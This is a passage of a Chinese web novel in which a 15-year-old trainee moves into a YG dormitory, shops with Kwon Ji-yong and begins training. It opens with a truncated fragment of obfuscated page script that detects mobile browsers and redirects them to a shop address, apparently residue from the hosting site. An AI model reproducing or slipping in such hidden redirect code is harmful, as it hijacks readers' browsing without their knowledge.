l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444210|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭攻略。还有是别人拍的妆容教程、发型分享什么的,内容还挺丰富。 以前几乎没看过纸质杂志的她看得津津有味。 抱着两本杂志,像真正15岁女孩一样蹦蹦跳跳地来到敏喜打工的便利店,“敏喜欧尼,我来啦~” “来得正好。”敏喜将整理出来的下架三明治,还有香蕉牛奶放在玻璃窗边的桌子上,拍拍她的头:“去吃吧。” 她顿时喜笑颜开,坐下去。合上看了不知道多少遍的杂志,仰起头:“谢谢欧尼,我会好好享用的。” 喜滋滋地打开牛奶喝了一口,顺滑香甜的口感让她幸福地眯起眼睛,原来便利店里的便当、果切、沙拉之类保质期短的商品每天会检查,如果过期就将其下架。 所以前段时间,自从知道夏沇之生活很窘迫后,敏喜就每天留下刚过最佳赏味期但未变质的食物留给她,一开始还怕她觉得自己在施舍,结果对方却一脸开心地接过,毫不介意的吃了起来。 夏沇之当然不介意,而且还很惊喜有这种好事,既能填饱肚子又能减少资源浪费,她认为自己这是在为社会做贡献。 于是就开启了有空过来打卡的生活,也会力所能及的给敏喜帮忙。 便利店老板人也很好,对此睁一只眼闭一只眼,就当没看见她。就是偶尔看她的眼神就像她以前看流浪的猫咪一样充满怜悯。 不过看就看呗,反正她又不少一根头发,边想边美美咬了一口豪华版三明治,这可比泡菜好吃多了。 敏喜收拾完过期食品,见店内没顾客就在她身边坐下,夏沇之小口又快速的可爱吃相让她忍不住又摸摸脑袋。 然后伸手拿起桌上的杂志看了起来,这一看敏喜有些被惊艳到,她不知道什么是专业模特,但觉得和常看的《ceci》,现在韩国主流青春杂志模特比起来也不差什么了。 而且这可是夏沇之第一次拍摄,显然她对此是有天赋的,顿时低对她想踏入娱乐圈的决定感到理解了许多。 敏喜忍不住地称赞起来,从她的气质到穿搭,从构图到色彩搭配……每个角度都夸了一遍,给夏沇之夸的嘴都合不拢了。 “欧尼不愧是要做记者的人,看东西角度就是不同,点评犀利又精准。你以后一定能成为很出色的记者……” 两人互相都给彼此吹捧美了。 等结束吹捧,敏喜问她:“决定好哪天搬家了吗?” 家?这个字眼让夏沇之眼眶剧烈酸楚,她垂下眼帘,目光盯着封面上巧笑嫣然的少女,低声道:“说好后天搬宿舍。” 还有28天。 …… “那天果然没看错,就是她啊。” “嗯?你说什么?” 同桌收起化妆镜,以为权至龙在和自己说话,转头却看见他课桌上摊开着一本少女杂志,不由惊讶地凑了过来:“至龙xi,你什么时候也开始看少女杂志了?” 她伸出手:“好可爱的女孩,给我看看。” 权至龙合上杂志,手按在封面上,笑眯眯地摇头:“不可以哦,这本是我的。” “小气鬼。”同桌撇嘴,倒也没真计较。 把杂志塞进书包最里层,他手指碰到封面时不自觉地又看了一眼。照片上她笑容格外明媚,可他却总觉得那双眼眸里没有在笑。 真是个让人捉摸不透的女孩呢。 13. 第三关:合约27天 将最后一件东西塞进行李,夏沇之环顾着又恢复到空荡荡的房间,“唉…” 敏喜拎起装着被子的袋子,见她面露惆怅,扬声说:“走啦!这种破地方有什么好留恋的。”她今天本来是早班,为了帮忙搬家特意请了假。 “我才不是舍不得这里,是舍不得离开欧尼你。” “你又不是飞到天上,”敏喜不自在的别过头,“去了那里要好好照顾自己哦。” “嗯嗯,到时候我给你要se7en的签名……” “算我没白疼你~” 将行李搬到宿舍,敏喜看了眼宽阔明亮的房间,即为她开心,却又不舍道:“以后你自己一个人住,夜里要更加小心哦。如果有人欺负你的话别怕,给我打电话知道吗?” 虽然她觉得以沇之的性子应该是不会被欺负,但万一呢? “内,”夏沇之抱住她的腰撒娇,“欧尼你别忘记我,等我这边熟悉了就去找你。”宿舍为了方便管理,规定除了家属经过公司同意能进去宿舍,其他人都不可以随意进出。 离别真是让人难受。虽然离得很近,可是就是感觉不一样了。她望着敏喜欧尼渐渐走远的背影发了会呆,但想到改善的生活条件,心底那点离别之愁霎时消失不见。 因为她终于有独立卫生间啦,再也不用每天都因为怕半夜想上洗手间而不敢喝水,现在她就连听到抽水马桶的声音也觉得格外动听。 于是开始撸起袖子整理行李。 这房屋整体比较陈旧是一套小巧的三室一厅一厨一卫的格局。另外一间房过几天会有负责练习生生活的欧尼住进来方便管理,据说在过段时间可能也会有其他女练习生过来。 现在除了权至龙他们三人她还没见过其他的练习生,据说上个月公司刚清退和自动离开了好几名,不过这对她而言是好事,起码不用一来就面对复杂的练习生环境。 她行李不多,很快就收拾完毕。 这件卧室采光很好,窗户往下能看到正在绿油油的大树,有小鸟在枝头叽叽喳喳鸣叫,窗户框就像一幅画,将春日景色融入其中,看着就心情舒畅。 5月8日 【不知道接下来的练习生生活会是什么样?想到YG现在的练习生是权至龙几人的水平就心里发虚。 但又转念一想,能录取我,那证明我还是有点天赋的……吧?这么费心辛苦得来的机会,我要加油努力啦。】 夏沇之收起日记本放在枕头下,她顺势躺倒在床上,阳光照在质量一般但干净整洁的紫色碎花被上,翻身将鼻子埋在被子里。几乎感觉到阳光正在将她体内的阴湿气息蒸发殆尽。 温暖而静谧的环境让她不知不觉睡了过去,等她睡饱醒来天色已经不早了,之前住在考试院什么都糊弄着过,新生活开始总要提高点生活质量。 她算了算手里的钱,这段时间2份家教兼职,一份打杂,咖啡厅偶尔的发传单之类的赚了大概54万韩元。这段时间她吃饭几乎都是考试院或者便利店赠品没花多少。 加上宝型欧尼很好,已经将这个月餐费加零花钱45万韩元给她,除去之前必要的花销,她手里前所未有的资金丰厚,一共83万韩元。 但也别看起来多,韩国消费很高,普通人随便工资也一百来万韩元,要是按照蔬菜肉蛋奶均衡的话,最次的一天也要2-3万元。公司每餐最高不超过5000韩元,但比她之前快吃不起饭那是好太多了。 她叹息着挑起一缕发丝,觉得这颜色像她以前染过的摩卡棕,卷度是放在理发店里都卷不出来的那种纹理感,还挺好看的,就是有点毛躁。 “既然做练习生,外貌投资不能少,起码先要买点护发产品,”她拿张纸算着要买的东西,“护肤品就买那种小孩用的就行。已经5月了,也要提前攒好钱买换季的衣服。” 化妆品的话……她犹豫了一下化掉,虽然韩国这里女生几乎出门必要化妆,但她年龄还小,可以先不用。 还有之前进来她就注意到这里竟然厨具都很齐全,还有天然气。她可以买一点干粮回来,饿的时候做着吃可以省不少,身体还在发育呢,要多补充营养才行。 这样算下来,保留最基本的吃饭钱,感觉买手机的需求又要往后延了。她安慰自己,反正现在手机又不能上网玩游戏什么的,没有趣味。 唉……钱钱钱,什么时候她能过上不用计算,随意买买买的日子啊。 换了身洗好的新衣服,这是她上个月除了面试装备外买的唯一一套衣服,柔软细腻的浅灰色针织开衫,浅蓝色牛仔直筒裤,款式简单又能多种搭配。 敏喜当时看见她上身就忍不住夸:“没想到这种老气的颜色被你穿的看起来好贵。”那是,她这是简约系老钱风。 两万韩元,可是她和敏喜欧尼那天讲了很久的价钱呢,正适合今天的天气穿。 将门锁好,哼着歌蹦跶的往下走,走到二楼拐角处眼角瞄到一个人影。却收步不及,一头撞了上去。幸好力度不大没把人撞倒,她身体反射性的弯腰鞠躬道歉: “coe song hap ni da。” 来人被撞的微微后退一步,他一身简单的长袖T恤,发梢还带着汗湿后的潮意。见她格外雀跃的身影,心情不由被感染的也轻快起来:“什么事这么高兴?” 她听到熟悉的声音抬头,惊喜地问好:“权至龙前辈好,您怎么在这里?” 倒是听宝型欧尼说过男练习生就住在楼下啦,但没想到这么快就见面了。 “还说呢,不是给你留了电话,怎么今天搬宿舍也不记得联系我。” 他说着皱起眉,这孩子对他怎么这么生疏,明明之前第一次见面相处那么随意,现在又成了他师妹,应该更亲近才对呀。 夏沇之一时语塞,看着他不好意思地眨了眨眼:“……我没有忘记。”她小声说,声音不自觉软下来,“这不是怕打扰你练习吗。” 可能心态还没能转过来,她下意识觉得那可是权至龙哎,私下联系他怪怪的。 她像是做错事被抓住的小动物,睫毛扑扇,嘴角往下撇了撇,又飞快地抿住,整个人看起来又无辜又可怜。 权至龙心里那点不悦像被戳破的气球,噗地一下就没了。他叹了口气,伸手弹了一下她的额头:“打扰什么打扰。给你留电话就是想让你联系啊。那你现在这是去哪?” “我要去超市买点东西。”她乖乖回答。 “知道附近哪里有超市吗?” ……她还真的不知道!这段时间几乎没逛过超市。“没关系啊,不知道的话等下问问路边人就行啦!” 权至龙无奈的看向她,这孩子真是:“沇之呀,欧巴就在你面前都想不起来嘛!”不经意间小奶音冒了出来,好像撒娇一样。 夏沇之瞬间血空了,像猫咪一样可爱的包子脸配上撒娇小奶音,她向来拒绝不了可爱的人或动物,更何况还是偶像少年版,感觉自己快被他可爱晕了。 听懂偶像的言下之意,她当即很识趣地请求:“哦莫,那请问我有这个荣幸请欧巴帮忙吗?”话语很恭敬,就是脸上的姨母笑,在稍显稚嫩的脸上无比违和。 “呀!”权至龙无语地揉了揉她的头发,“怎么跟老奶奶似的,不要用你漂亮的脸蛋做奇怪的表情啊!” ……夏沇之决定脱粉一秒。 超市货架被灯光照的白得发亮,空气里混着蔬果的味道。夏沇之推着推车,口头指挥:“欧巴,上面那层左边那罐草莓酱,还有最右边那罐也要。” 目光却忍不住一直盯着他看,真神奇啊,人生的际遇能够那么反转,她现在竟然在和权至龙一起逛超市耶。 有种做梦的不真实感。 “也就你这么使唤我,”他转头轻哼,却撞上夏沇之看过来的眼神,无比自然地伸手捏了捏她的脸蛋。“莫?干嘛这么看着我,还有什么要买的吗?” 夏沇之回过神摇了摇头,看着他幽幽地控诉:“欧巴你捏疼我了。” 权至龙连忙低头查看,小声嘀咕:“我也没用力呀。”可是见她脸颊是有点泛红,他双手合十道歉:“米啊内呀,下次欧巴手轻点。” 还下次,这人捏上瘾了啊? 不过她这段时间已经习惯被人捏脸了,不是她说,她照镜子时候自己都忍不住想要捏捏,手感绝佳。 既然如此,她视线在他包子脸上转了一圈,握拳掩嘴轻咳,手指有点蠢蠢欲动:“那公平起见,我也要捏你的脸。” 本来还怕会不会太唐突,却不想他很是大方地把脸蛋凑到她眼前,语气跟哄小孩似的,“内,摸吧!欧巴我可是很大方的。” 骤然放大在眼前的脸,比常人淡色的眼眸含着笑意,她甚至能从对方瞳仁里看见自己的倒影,这多冒昧呀! 但双手却很实诚地 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他笑得眉眼弯弯,嘴上却唱着反调:“呀,你这丫头的心是光华门吗?这么容易就被攻陷了。” 啧!夏沇之挑眉睨他,这哥的心才是光华门呢,来来回回进出不知道多少人呢!但话又说回来,没有恋爱失恋就没有那些好听的歌了呀,所以哥的心还是开着吧! “阿尼,因为是欧巴呀!”夏沇之故意双手握拳抵在下巴处,冲权至龙笑得甜蜜。 小小的脸上弯弯的眉毛,浓密的睫毛扑闪,水汪汪的大眼睛,粉嫩的脸颊边梨涡深深。可爱! 被这笑容冲击到,他心瞬间酥软的厉害,也跟着傻笑起来……过了几秒反应过来不由用手捂住脸,“呀!”却又忍不住叮嘱,“不可以这样随便和别人撒娇。” 他看着周围不断飘向女孩的视线心想,外面有很多怪大叔们就喜欢这种甜甜的可爱女孩,这孩子又感觉有点没心没肺的,要看紧点才行啊! ——对于对夏沇之性格这种评价,只能说这是个美好的误会吧。 她视线扫过路边店铺的杂志,心想也不知道杂志卖的怎么样。昨天打电话和杂志那边说了她签约的事情,对方恭喜她后只说在考虑看看,希望这份工作还能有后续。 所以心不在焉地随口应道:“知道啦,我只和至龙欧巴撒过娇啦。” 权至龙努力压住上翘的嘴角,原来有个可爱妹妹是这种感觉啊…… 走过路边已经凋零的樱花树,两人一边斗嘴一边聊着天。 夏沇之将自己的事情遮掉部分,聊起这些天经历的有趣事情,权至龙也和她说着在公司练习的生活。 她听的聚精会神,这位的表达能力是真的强啊,普普通通的练习生崖被他描绘的跌宕起伏。 “……后来才知道那位舞蹈老师只会那些招数,因为自己教不出新的东西,所以才对我们反复挑刺。” YG虽然音乐制作人们作风很欧美,但其实内部等级分明,制作人、艺人、老师、工作人员都很遵守着各自的位置,而且他们都是能为公司提供价值的人,只有练习生是例外,所以地位也最低。 练习生们只能靠老师传授知识,所以学习的机会额外珍贵,而老师们也是打工人,有人能力不足怕自己教完后失业,就会藏私不愿意多教给学生,而在阶级等级严重的韩国,练习生也无法对老师提出异议,会被视为失礼之人。 “那后来呢?”夏沇之忧心忡忡地问。 权至龙嘴角露出微妙又隐隐得意的弧度,没提过程,他挑了挑眉,只是简单地说:“后来嘛……揭穿他,然后他就走人了。” 说完见她拧紧眉头,以为说的话吓到了她,忙安慰道:“所以你放心,现在公司里的老师都很好,不用担心受欺负。” 她摇摇头:“不是因为这个,是没想到原来你连在练习生时都遇到那么多糟心的事……”当时那么小的他受到刁难应该很难受吧。 夏沇之的眼睛很好看,仿佛含着一层水光。安静注视着他的时候显得格外温柔深邃。 他垂下眼帘,纤长的睫毛遮住了眼眸,嘴角动了动,最后只是仿佛随口一说:“其实也没什么,练习生嘛,谁还没遇到过几个奇怪的人。” 五月的风裹着盛春生机勃勃的气息袭来,感染的人也跟着满心欢喜起来。 14. 第三关:合约 回到宿舍,她拿洗干净新买的杯子到水给权至龙,“欧巴辛苦啦,休息一会儿吧。” 权至龙坐在客厅沙发接过水杯,环顾四周后皱了皱眉,“你一个人住记得每天晚上要注意门锁安全,有什么事情要及时和我打电话。” 被偶像又比她小的人关心有点奇妙,但感觉却很不错,她很认真地点点头,然后拿出一块沉重三角形给他看,“我不怕,欧巴放心,而且我还买了阻门器,很安全的。” 将它放在门缝后从外面是很难推开的,这是她这段时间在考试院安心睡觉的法宝。 权至龙拿过看了看,又放在门后试了试,这才满意起身,转头问她:“对了,你有手机了吗?”好像没看见她拿。 她瞬间垮了脸,没有!之前好不容易攒了买手机的钱,又因为那件事花七七八八,整整近两个月没有摸过手机了,她这种重度手机瘾患者日常都已经习惯了没手机的生活了。 权至龙一看她表情就知道了,手指触唇沉思:“我记得宿舍好像还有一个旧手机,你不介意的话先用着?” 夏沇之眼睛猛地亮起来,连连摇头:“我不介意呀~有就很好啦!谢谢欧巴。” 权至龙失笑,这孩子真是容易满足呢,他站起来:“我等下给你拿上来。” 下楼回到宿舍的时候,推开门看见大哥在沙发上瘫着看漫画,他不由意外道:“hiong,今天没有回家吗?” 这哥是典型的妈宝男,练习完就爱呆在家里,今天竟然没回家?真稀奇。 大哥晃了晃垂在沙发边的两条大长腿,语气懒散:“嗯,不想回去。” 权至龙皱了眉头,坐在大哥身边关心道:“怎么?伯父伯母还是反对?” 他和大哥其实小时候就认识了,这次来YG也是权至龙听到公司要选队友,于是对塔普发出邀请,哥他本来是混地下的rapper,艺名叫TEMPO。 但性格却和大众印象中的rapper截然相反,小时候因为胖又喜欢说唱,被看不顺眼的同学霸凌过,导致他内心很脆弱敏感。直到现在即使站在舞台上也是戴着大大的帽子遮住脸。 受到邀请后,他虽然心动但想到要站在人前又有些犹豫,女朋友知道他喜欢音乐,于是推了一把。把他的demo私下给了权至龙,最后由权至龙引荐进公司。 当初这哥为了进公司20天减了40斤,从胖子逆袭成大帅哥,也是十分励志了。但是他家里对于晚辈要去做艺人并不十分赞同,所以最近很烦恼。 塔普不想聊这个,岔开话题问他:“你今天不是说有约吗?怎么这么早就回来了。” “内,没去。”权至龙轻描淡写的一语带过,想起回来的目的,又问:“hiong,之前不用的旧手机放哪啦?” 大哥挑了挑眉:“问那个干嘛?你不是才刚换的手机?” “不是我用,是给沇之用的,这孩子自己一个人住,真是让人不安心呐,幸好就住我们楼上还能看着点。” 见权至龙提起夏沇之一副很熟悉的模样,他疑惑道:“她不是刚进公司嘛,至龙你和她关系很好?” 权至龙不置可否:“很可爱的妹妹,现在她自己一个人住,当然要多照顾一些啦。” “我说呢,”大哥了然笑笑:“怪不得你今天下午突然出去了。” 扣扣扣…… 夏沇之刚把买来的东西放置好就听到门响,她打开门,看到除了权至龙三人,还有一位忧郁型帅哥。 “前辈们请进。” 然后经过介绍才得知这位叫张弦胜,不过她没什么印象,应该最后没在bigbang里出道吧。这位少年性子挺内敛安静,说实话确实感觉和这几位哥画风差别挺大的。 永培拎着东西问道:“沇之xi,这是我们送的暖房礼物,放哪里方便?” 夏沇之连忙又弯腰感谢:“多谢前辈们还费心准备了礼物,放这里就行。” 这才想起来在韩国如果迁居的话,朋友一般都会送上伴手礼,基本都是生活用品之类的。 她示意前辈将香蕉牛奶放在墙边,突然眼前一暗,一只手掌罩在她头顶,少年纤细温柔的声音带着些调侃:“沇之啊,这可是欧巴特意提议送的礼物呢,要记得每天喝呀!不然长不高可怎么办。” 她拍掉头顶的手,抬头瞪了眼权至龙,发现两人逐渐熟悉后,这哥一点也没刚开始认识的稳重,真幼稚!再说她也不是很矮啊。 虽然是关心,她也领这份情。但这哥说话语气真是有点欠欠的,她露出牙齿假笑:“可是我才15岁,还有大把时间长高呢,欧巴不用担心。倒是欧巴,您也要多喝些才行呢!说不定有机会能长到塔普前辈那么高……” 被提及的塔普挑了挑眉,笑眯眯和永培很有默契地转头看向被打趣的权至龙,忙内弦胜则低头忍笑,怕被至龙哥生气看见秋后算账。 夏沇之潜意识里没觉得这哥会生气,毕竟是能在歌里自我吐槽身高的狠人,他一向自信的很呢。 权至龙确实没生气,他双手罩住她脑袋使劲揉搓,没好气地说:“呀,不是说欧巴是最好的吗?小骗子,看见塔普哥就移情别恋了,枉我还特意给你带了手机上来,看起来你也不需要了……” 夏沇之听到手机二字,从权至龙手底下气喘吁吁艰难躲过他的魔爪,连忙扯出一抹笑,掐着嗓音: “怎么会,至龙欧巴不仅长的帅,又那么有才华,男人最重要的是要有才华呀才华!这点欧巴已经是冠军啦!” “沇之xi呀,怎么能这么快就改变你的心,欧巴难道就没有才华吗?”塔普在旁边捂着胸口装作一脸委屈起哄道。 夏沇之回头可怜巴巴的看了眼大哥,用眼神致歉,“前辈当然也有才华,但是在我心目中还是至龙哥最高呀!” 权至龙被她夸的忍不住咧嘴,决定大发慈悲的原谅她,将手机递给她:“喏,我的电话已经给你存进去了。” “谢谢欧巴,我会好好使用的。”夏沇之喜笑颜开,虽然不是智能手机,但是起码可以随意和人联系了。 “哎,输了输了呀!”大哥身体往后一倒,靠在永培肩膀里叫嚷,心里觉得这孩子性格意外的和他们很合呢。 “这样看来沇之xi不是个看脸的人呢。”永培突然在旁边默默突然插了竹马至龙一刀。 “呀,虽然没大哥帅,但我也很有魅力,很多女生喜欢我好吗。”权至龙不服气的反驳。 “哦,那怎么还没追到你的女神?” 他一脸堂皇的看向竹马,“永培呀,你今天干嘛这么对我,爱已经消失了是吗。” 夏沇之登时竖起耳朵,女神?她倒是大概知道他恋爱绯闻很多,但具体是谁就不怎么清楚了。是哪位歌曲的女主角?! “……你看什么,”权至龙对上她求贤若渴的目光,咬着嘴唇,神色有些窘迫地伸手将她脸扭过去,“大人说话,小孩子别偷听。” 被迫转头的夏沇之翻了个白眼,“哥你也没成年吧。说小孩子什么的……” 看来他的练习量还是不够饱和啊,她脑海浮现出这个念头,累瘫了哪还有心思想这些情情爱爱。 “哎呦,”她捂住被敲的头,就听权.大人说:“时间不早了,我们走了,你也赶紧休息去吧。” 只是那背影怎么看怎么透着股心虚。 少年们如来时一样又全部离开,室内顿时安静下来。她感叹果然是谈恋爱的美好青春啊,自言自语道:“等我不再为钱发愁,到时候我也要找几个年轻帅哥谈甜甜的恋爱。” 畅想完未来美好的生活,她就见时间已经不早了。于是赶紧洗漱去睡觉,明天就要开始正式的练习生生活啦。 但等躺在床上,她却美滋滋地拿着手机玩了起来,结果想要充电的时候却怎么也找 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穿好适合练习的衣服,又带了一套跳舞换的衣服,最后灌满温水的水杯,擦汗毛巾,就背着书包兴致勃勃地出发啦! 下楼时,权至龙他们已经去上学了。 说到上学,公司建议让她下半学期入学,“不管怎么样,起码高中还是要读完的。”这句话据说是杨社长说的,没想到这黑泡公司意外还挺注重知识学习的。 不过她才不想和初中生一起上课,她想直接上高中。公司在确认她的学习情况后也同意了这个要求。 YG离宿舍也就两条街,走路七八分钟路程,所以很快到到了。看着眼前这灰暗老旧的楼,她还是有点看不习惯,毕竟她知道的时候YG大楼已经是很壕的。 走进大楼,已经有工作人员上班了,她笑着一一对经过的工作人员弯腰鞠躬问好:“早上好,前辈nim。” 还好,大家看到基本也都很有礼貌的回以问候,毕竟是漂亮又有礼貌的后辈。最关键是跟他们工作人员没有竞争冲突,都很乐意给予善意。 就算有个别人脾气不好看见她也只是无视,这对于她而言就是最好的结果。 第三次过来的她很快就到了四楼办公室报到。 李宝型将资料递给她:“这些是练习生的日常课程表。你刚来,老师们会给你做个详细的测试,告诉你的优缺点,好调整接下来的课程。至于这一叠——” 指着几张文件嘱咐道:“这里是我们公司的资料还有歌手前辈们,你要记熟悉,可千万不要人到眼前认不出来,那样就太失礼了。” 夏沇之认真应是,刚入职员工都要学的企业文化,懂! 最后签字领取了这个月的零花钱,然后她走了出来,翻出那张日程表,9点做体能训练,11点上语言课,12-13点吃饭时间,下午课程有唱歌,舞蹈,形体课,演技课,等等,做完这些大概10点结束。 如果白天想要在非舞蹈课练习就需要预约练习室,因为练习室也不是你来就有空着的。而且如果有艺人需要用练习室,那么她们也要等艺人用完后才能练习。 之前她就疑惑练习生为什么动不动就练到凌晨之类的,不能白天练吗?这下明白了,白天估计都被学校课程或者其他艺人之类的占据时间,也只能约阴间时间练习了。 将资料收进背包,她按着宝型欧尼说的去6楼体能训练室。六楼的体能训练室倒比她想象中要大得多。 推开门,室内铺着深蓝色的专业运动地垫,靠墙摆放着各种器械,角落里还有一台看起来有点老旧的跑步机,发出嗡嗡的低鸣声。 墙上贴着一张醒目的海报,上面用粗体字写着:“汗水不会背叛你。” 夏沇之莫名觉得这句话很有杨贤烁社长的风格。 门口传来一个陌生的声音:“你就是新来的练习生?”